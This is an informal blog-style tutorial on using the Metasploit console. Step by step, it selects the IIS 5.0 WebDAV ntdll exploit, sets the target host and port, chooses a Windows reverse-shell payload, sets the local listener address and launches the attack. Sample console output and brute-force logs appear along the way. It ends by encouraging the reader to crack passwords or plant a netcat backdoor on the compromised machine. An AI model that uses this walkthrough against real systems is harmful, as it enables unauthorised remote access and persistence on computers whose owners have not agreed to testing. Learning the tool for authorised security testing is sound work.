The metasploit environment provides many ready to use exploits and also allows for the security tester to customize them or to create their own exploit. The basic process for using the Metasploit console is not the most intuitive, If a script kiddie use this then surely he will be tired in a day or two.. The basic format for exploiting the system is as follows:
1. Pick which exploit to use
2. Configure the exploit with remote IP address and remote port number
3. Pick a payload
4. Configure the payload with local IP address and local port number
5. Execute the exploit
Example of Using Metasploit
Launch the Metasploit console. To do this, from a command line type the following:
"# " ./msfconsole "
Pick which exploit to use
Once the msfconsole is running, it is time to decide which exploit to attempt against the target system. Your options here stub from the following commands:
- <!--[if !supportLists]-->use
- <!--[if !supportLists]-->show
- <!--[if !supportLists]--><!--[endif]-->info
The use command will tell the utility exactly which exploit to select. The show command will do nothing on its own, but can be combined with exploits or payloads as shown in the examples below. The info command provides details about a specific module.
Start by entering "show exploits" to see the list of exploits available.Many of the exploits listed here are going to work against the target servers and in fact many of these exploits are used by ethical hackers. The exploit list upgrades when a better version of metasploit framework comes
I will give u a hint-....
"iis50_webdav_ntdll" exploit"
To actually start the exploit type "
use iis50_webdav_ntdll"
After use – configure options
We need to set options. These options include the destination IP and the destination port. The options are configured by using the set command. The show advanced command will let you know if there are more options that can be set. Most exploits do not have advanced options.
Start by typing "show options"
This will show you the command requirements to run the exploit.
These include the RHOST (This is the host that we are going to compromise) and the RPORT (this is the port that the vulnerable function is running on)
To set these options type "
set RHOST <your partner machines IP address>" and press enter. On the next line type "
set RPORT 80"
Will the Exploit Work ?
We have the computer and the exploit. Now we are going to compromise the system.Now is the time to find out
:
To perform the check type "
check ".
This may not work on all exploits. This will see if the server or target appears vulnerable.
If your check is unsuccessful, you may need to select some additional options about the target that you are hoping to compromise. This usually includes a description of the OS and the service pack level of the system. In some modules there is a brute force option.The brute force option will try many memory offsets, but the result will be a lot less stealthy if you are unsuccessful. If you enter "
show targets" you should see something like the below.
msf iis50_webdav_ntdll > show targets
Supported Exploit Targets
=========================
0 Windows 2000 Bruteforce
What the attack will do ?
This is what Metasploit calls a payload, it is also refer to as shell code or op-code. This is the code that we wish to have inserted directly into the buffer that we are overflowing. In most cases the shell code is going to be service pack dependant, OS dependant, and architecture (i386) dependant as well. This means that most of the payloads in the Metasploit framework will work for only certain OS’s and on certain processors. Even if you select an appropriate payload you will have to configure options to get the payload to work. The most frequently used type of shell code is code that generates a reverse shell from the compromised system back to the attacking system. Using the stubs mentioned before in the exploits section also apply to the payloads section. If you type "
show payloads" you should see a response like the below .
msf iis50_webdav_ntdll > show payloads
Metasploit™ Framework Usable Payloads
====================================
win32_bind Windows Bind Shell
win32_bind_dllinject Windows Bind DLL Inject
win32_bind_meterpreter Windows Bind Meterpreter DLL Inject
win32_bind_stg Windows Staged Bind Shell
win32_bind_stg_upexec Windows Staged Bind Upload/Execute
win32_bind_vncinject Windows Bind VNC Server DLL Inject
win32_exec Windows Execute Command
win32_reverse Windows Reverse Shell
win32_reverse_dllinject Windows Reverse DLL Inject
win32_reverse_meterpreter Windows Reverse Meterpreter DLL Inject
win32_reverse_stg Windows Staged Reverse Shell
win32_reverse_stg_upexec Windows Staged Reverse Upload/Execute
win32_reverse_vncinject Windows Reverse VNC Server Inject
In this case the best shell to try will be the win32_reverse payload. To do this type "
set PAYLOAD win32_reverse"
This payload requires some options. These include the exit function, the local host and the local port.
To see these options type "
show options" you should see something like the below:
msf iis50_webdav_ntdll(win32_reverse) > show options
Exploit and Payload Options
===========================
Exploit: Name Default Description
-------- ------ ----------- ------------------
optional SSL Use SSL
required RHOST 67.36.70.19 The target address
required RPORT 80 The target port
Payload: Name Default Description
-------- -------- ------- ------------------------------------------
required EXITFUNC seh Exit technique: "process", "thread", "seh"
required LHOST Local address to receive connection
required LPORT 4321 Local port to receive connection
Target: Windows 2000 Bruteforce
To set the missing options, we will use the set command like above. Before we can set these values we need to know what they are. To find your local IP address open another shell window, by either right clicking on the desktop or (if your CD has this option) look for the computer icon in the program bar. If you right click on the desktop look for the shell option. If you do this step right you should see a new shell box (kinda sorta like a DOS command prompt box on XP) appear.
Once you have the box open type "ifconfig". This will show the information for all of the interfaces for you linux system. This is the equivalent of the ipconfig command in Windows. You should see something like the following:
[root@localhost ~]# ifconfig
eth0 Link encap:Ethernet HWaddr 00:03:25:13:43:F2
inet addr:10.5.14.173 Bcast:10.5.15.255 Mask:255.255.252.0
inet6 addr: fe80::203:25ff:fe13:43f2/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:4563 errors:0 dropped:0 overruns:0 frame:0
TX packets:2905 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:3696580 (3.5 MiB) TX bytes:325618 (317.9 KiB)
Interrupt:193 Base address:0x4c00
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:213 errors:0 dropped:0 overruns:0 frame:0
TX packets:213 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:49707 (48.5 KiB) TX bytes:49707 (48.5 KiB)
What we are interested in, is the value for the eth0 (or whatever is active on your system it could be eth1 or some other interface), but you should see the value inet addr: and your IP address listed next to this. In the example above the IP address is 10.5.14.173. If you look closely you'll see that it is there. GO ahead and look – no one will laugh I promise.
Once we know this value we will set it with the set command. To do this type "set LHOST <your IP address>". This is all that really needs to be set, but for luck I always make one more change – I set the local port to 5555. This is just for superstition. I'm not going to give you exact instructions on how to do this, but if you can figure it out – be my guest and change it.
This payload with this exploit had no advanced options, but to check for other exploits type "show advanced". You should see something like the below.
msf iis50_webdav_ntdll(win32_reverse) > show advanced
Exploit and Payload Options
===========================
Exploit (Msf::Exploit::iis50_webdav_ntdll):
-------------------------------------------
Payload (Msf::Payload::win32_reverse):
--------------------------------------
This is just a example
Making it all happen
Now is the time to see the results This next phase will actually compromise the system if you have done everything correctly and the system is vulnerable. If all goes Right you will own the box.
To do this type "
exploit"
Once you launch the exploit it may take some time. The exploit is trying to brute force the memory offset for the vulnerable function..Means in good words it is exploiting the computer
If you've done everything right you should see something like the below.
[*] Starting Reverse Handler.
[*] Connecting to web server. OK
[*] Trying return address 0x004e004f...
[*] Sending request (65739 bytes)
[*] Connecting to web server. OK
[*] Trying return address 0x00420041...
[*] Sending request (65739 bytes)
[*] Connecting to web server. OK
[*] Trying return address 0x00430041...
[*] Sending request (65739 bytes)
[*] Connecting to web server. OK
[*] Trying return address 0x00c10041...
[*] Sending request (65739 bytes)
[*] Connecting to web server. OK
[*] Trying return address 0x00c30041...
[*] Sending request (65739 bytes)
[*] Connecting to web server. OK
[*] Trying return address 0x00c90041...
[*] Sending request (65739 bytes)
If you are successful you'll have a remote connection into the target machine and can do whatever you want. Once you've done this and received the prompt for the other system you are the
OWNER ..You may want to crack the passwords–or you can create your own netcat backdoor.
You will find this Framework
www.metasploit.com/framework/download
I was also very weak at metasploiting but i know the basics means i can do it practically whenever i want.
You may find many articles related to the same topic as mine but i tried to make it understand in a easy way.
Happy Hacking:)
